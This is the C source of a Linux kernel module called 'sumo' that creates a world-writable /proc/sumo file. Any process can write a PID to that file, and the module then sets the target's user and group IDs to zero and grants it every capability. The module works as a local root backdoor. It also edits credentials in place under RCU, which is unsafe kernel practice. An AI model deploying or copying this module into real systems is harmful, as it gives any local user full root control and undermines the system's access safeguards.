#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>

#include <linux/proc_fs.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/seq_file.h>
#include <linux/sched.h>
#include <linux/capability.h>
#include <linux/cred.h>


#define SUMO \
R"(sumo:         __        SUdo   )""\n"\
R"(          ,;.'--'.      MOdule )""\n"\
R"(           /'/=,=(             )""\n"\
R"(           \(  __/             )""\n"\
R"(        ___/    (____          )""\n"\
R"(      .'     -  -    '.        )""\n"\
R"(     /         v       \       )""\n"\
R"(  __/    ,     |    \   '-/'_  )""\n"\
R"( {z, ,__/__,__/\__,_ )__(   z} )""\n"\
R"(  \>'   (            \_ `--c/  )""\n"\
R"(     _.-'\_      ,   / \_      )""\n"\
R"(    (      `.______.'    '.    )""\n"\
R"(    \    ,   \    ( __     )   )""\n"\
R"(     \    )-'-\__/-'  |   /    )""\n"\
R"(      |   |          /  .'     )""\n"\
R"(      /  ,)         (   \_     )""\n"\
R"(     oooO'           '--Ooo    )""\n"

#define MTAG "sumo: "

MODULE_LICENSE("GPL");
MODULE_AUTHOR("djmil");
MODULE_DESCRIPTION("Grant root access right to the process by PID");
//MODULE_INFO(intree, "Y");

///////////////////////////////////////////////////////////////////////////////

void set_task_uids_gids_to_zero(struct task_struct *task)
{
  struct cred *_cred;
  //struct real_cred *_real_cred;

  // Safely access cred and real_cred using rcu_dereference
  _cred = (struct cred *)rcu_dereference(task->cred);
  //_real_cred = (struct cred *)rcu_dereference(task->real_cred);
	if (_cred == NULL) {
	  pr_err(MTAG "Task creds are null %d\n", task->pid);
		return;
	}

  // Update UIDs to zero
  _cred->uid.val = 0;
  _cred->euid.val = 0;
  _cred->fsuid.val = 0;

  // Update GIDs to zero
  _cred->gid.val = 0;
  _cred->egid.val = 0;
  _cred->fsgid.val = 0;

  pr_debug(MTAG "PID %d: all UIDs and GIDs set to zero\n", task->pid);
}

void change_process_capabilities(struct task_struct *task)
{
  struct cred *_cred;

  // Acquire a new set of credentials
  _cred = (struct cred *)rcu_dereference(task->cred);

  // Add ptrace+other capabilities
  _cred->cap_inheritable.cap[0] = 0xffffffff;
  _cred->cap_inheritable.cap[1] = 0xffffffff;

  _cred->cap_permitted.cap[0] = 0xffffffff;
  _cred->cap_permitted.cap[1] = 0xffffffff;

  _cred->cap_effective.cap[0] = 0xffffffff;
  _cred->cap_effective.cap[1] = 0xffffffff;

  _cred->cap_bset.cap[0] = 0xffffffff;
  _cred->cap_bset.cap[1] = 0xffffffff;

  _cred->cap_ambient.cap[0] = 0xffffffff;
  _cred->cap_ambient.cap[1] = 0xffffffff;

  pr_debug(MTAG "PID %d: capabilities changed\n", task->pid);
}

ssize_t proc_pid_write(struct file *file, const char __user *buffer,
  size_t count, loff_t *ppos)
{
  unsigned long long  pid;
  struct pid         *pid_struct = 0;
  struct task_struct *task;
  int ret = 0;

  // Read the target PID from the user buffer
  if (count < 0) {
    pr_err(MTAG "read failed. size %lu\n", count);
    return -1;
  }

  *ppos = count;

  ret = kstrtoull_from_user(buffer, count, 10, &pid);
  if (ret) {
    pr_err(MTAG "read PID failed %d\n", ret);
    return count;
  }

  pr_info(MTAG "Got PID %llu\n", pid);
  *ppos = count;

  pid_struct = find_get_pid(pid);
  if (pid_struct == NULL) {
    pr_err(MTAG "find_get_pid() failed\n");
    return count;
  }

  // Find the task_struct corresponding to the given PID
  task = pid_task(pid_struct, PIDTYPE_PID);

  if (task == NULL) {
    pr_err(MTAG "Could not find process with PID %llu\n", pid);
    return count;
  }

  if (task->cred == NULL /*|| task->real_cred*/) {
    pr_err(MTAG "task->cred == NULL\n");
    return count;
  }

  {
    rcu_read_lock();
    
    set_task_uids_gids_to_zero(task);
    change_process_capabilities(task);

    rcu_read_unlock();
  }

  return count;
}

///////////////////////////////////////////////////////////////////////////////

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 6, 0)

  static struct proc_ops proc_fops = {
  //.proc_read  = porc_pid_read,
    .proc_write = proc_pid_write,
  };

#else

  static struct file_operations proc_fops = {
    .owner      = THIS_MODULE,
  //.read       = proc_pid_read,
    .write      = proc_pid_write,
  };

#endif

static struct proc_dir_entry *ent = NULL;


int sumo_init(void)
{
  pr_info(SUMO);

  // Create `/proc/sumo` file
  ent = proc_create("sumo", 0666, NULL, &proc_fops); 
  if (ent)
    pr_info(MTAG "Created /proc/sumo\n");
  else
    pr_err(MTAG "Unable to created /proc/sumo\n");
  
  return 0;
}

void sumo_exit(void)
{
  if (ent) 
    proc_remove(ent);
}


module_init(sumo_init);
module_exit(sumo_exit);